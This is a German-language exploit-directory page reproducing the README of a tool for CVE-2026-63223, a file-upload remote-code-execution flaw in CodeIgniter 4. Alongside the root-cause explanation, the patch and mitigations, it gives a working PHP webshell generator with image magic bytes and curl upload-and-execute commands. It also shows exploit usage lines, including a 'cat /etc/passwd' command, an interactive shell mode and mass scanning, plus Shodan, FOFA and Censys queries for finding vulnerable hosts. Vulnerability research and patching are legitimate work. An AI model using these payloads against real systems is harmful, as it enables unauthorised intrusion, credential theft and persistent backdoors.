Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-63223 — CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in Datei-Upload-RCE. Magic-Bytes-Umgehung (getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4 | Kitploit
Tools/GitHubGitHub/shinthink/cve-2026-63223
Web-SchwachstellenscannerPayload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubshinthink/cve-2026-63223

CVE-2026-63223

CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in Datei-Upload-RCE. Magic-Bytes-Umgehung (getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4

Repository anzeigen
121vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-63223 — CodeIgniter 4 Datei-Upload-RCE

Magic-Bytes-Umgehung → is_image/mime_in → PHP-Webshell → RCE


Übersicht

CVE-2026-63223 ist eine kritische (CVSS 9.8) nicht authentifizierte Schwachstelle zur Remote-Codeausführung in CodeIgniter 4, einem PHP-Webframework für Full-Stack-Anwendungen, die Versionen vor 4.7.4 betrifft.

Die Schwachstelle nutzt die Datei-Upload-Validierungsregeln is_image und mime_in aus, die nur den aus dem Inhalt abgeleiteten MIME-Typ (Magic Bytes) prüfen, ohne die vom Client gelieferte Dateinamenerweiterung zu validieren. Ein Angreifer stellt Bild-Magic-Bytes (GIF89a-, JPEG-, PNG-Header) vor PHP-Code, benennt die Datei shell.php, besteht die Validierung und erreicht RCE, sobald die Datei in einem webbasiert zugänglichen, PHP-ausführenden Verzeichnis landet.

CVSS: 9.8 KRITISCH — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Entdeckt: 31. Juli 2026 | Advisory: GHSA-mmj4-63m4-r6h5 Behoben: CodeIgniter 4 v4.7.4

Betroffene Versionen

VersionStatus
< 4.7.4Verwundbar
4.7.4+Behoben

CWE: CWE-434 — Uneingeschränkter Upload einer Datei mit gefährlichem Typ Referenz-PoC: imbas007/CVE-2026-63223-POC


Schwachstellenmechanismus

Grundursache

Die Validierungsregel is_image von CodeIgniter 4 führt getExtension() — das die aus den Magic Bytes abgeleitete Erweiterung zurückgibt (z. B. gif) — über Mimes::guessTypeFromExtension() aus, um zu bestimmen, ob die Datei ein Bild ist. Die vom Client gelieferte Dateinamenerweiterung (getClientExtension(), z. B. php) wird niemals geprüft:

// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
    // ...
    $type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
    //      ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
    if (mb_strpos($type, 'image') !== 0) {
        return false;  // "image/gif" → passes!
    }
    return true;  // never checks getClientExtension() = "php"
}

Warum es funktioniert

  1. getExtension() ≠ getClientExtension() — erstere wird aus Magic Bytes abgeleitet (gif), letztere aus dem Client-Dateinamen (php)
  2. Validierung vertraut Bytes, nicht Namen — is_image besteht, weil Mimes::guessTypeFromExtension("gif") image/gif zurückgibt
  3. Datei wird mit Client-Namen gespeichert — $file->move($path, $file->getClientName()) behält die .php-Erweiterung bei
  4. Keine Gegenprüfung vor v4.7.4 — keine Validierung, dass die Client-Erweiterung zum erkannten Typ passt
  5. Webzugriff auf Uploads — standardmäßig öffentliche Upload-Verzeichnisse liefern PHP-Dateien direkt aus

Angriffsablauf

1. Attacker generates PHP webshell with GIF89a header
   → file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
   → is_image validates: image/gif → PASS
   → File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
   → Apache passes .php to PHP-FPM → PHP executes
   → GIF89a output as plaintext, then <?php code runs
4. RCE as www-data

Der Fix (v4.7.4)

Der Patch fügt hasInvalidImageClientExtension() hinzu — prüft jetzt auch die Client-Erweiterung:

// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    //                   ↑ NOW checks getClientExtension() = "php"!
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    //      ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
    return mb_strpos($type, 'image') !== 0;  // TRUE → REJECT!
}

Die wichtigste Änderung: is_image validiert jetzt sowohl getExtension() (aus dem Inhalt abgeleitet, für die eigentliche Bildprüfung) als auch getClientExtension() (vom Client geliefert, um Nicht-Bild-Erweiterungen wie .php abzulehnen).


Installation

git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests

Verwendung

# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar

# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"

# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell

# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php

# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20

Argumente

  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -e, --endpoint     Vulnerable upload endpoint (default: /upload/avatar)
  --field FIELD      Upload form field name (default: avatar)
  --method {gif,jpg,png}  Magic bytes disguise (default: gif)
  --filename NAME    Shell filename (default: shell.php)
  -c, --command      Shell command to execute (default: id)
  --shell            Interactive pseudo-shell mode
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)

Proof of Concept

Einzelnes Ziel

$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
  Host          : ci4-app.com
  CodeIgniter 4 : YES
  Upload        : YES
  Shell URL     : http://ci4-app.com/uploads/shell.php
  RCE           : YES

  RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01

Manuelle Ausnutzung (curl)

# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar

# Execute
curl http://target/uploads/evil.php?c=id

FOFA / Shodan

FOFA:   body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"

Auswirkungen

Eine erfolgreiche Ausnutzung führt zu Remote-Codeausführung als Web-Server-Benutzer:

  • Beliebige Systembefehle ausführen
  • Datenbank-Zugangsdaten aus .env-Dateien lesen
  • Persistente Hintertüren installieren
  • In interne Netzwerke pivotieren
  • Die Anwendung defacen oder kompromittieren

Es ist weder ein Konto noch eine Authentifizierung erforderlich — Upload-Endpunkte, die is_image/mime_in ohne ext_in verwenden, sind standardmäßig verwundbar.


Der Fix (v4.7.4)

  1. Upgrade auf CodeIgniter 4 v4.7.4 oder neuer
  2. Workaround: is_image/mime_in mit der Validierungsregel ext_in kombinieren
  3. Uploads außerhalb des Web-Roots speichern und über einen readfile()-Proxy ausliefern
  4. Serverkontrollierte Dateinamen mit getRandomName() erzeugen

Haftungsausschluss

NUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS.

Nicht gegen Systeme ohne ausdrückliche Genehmigung verwenden. Die Autoren übernehmen keine Haftung für Missbrauch.


Referenzen

Tool herunterladen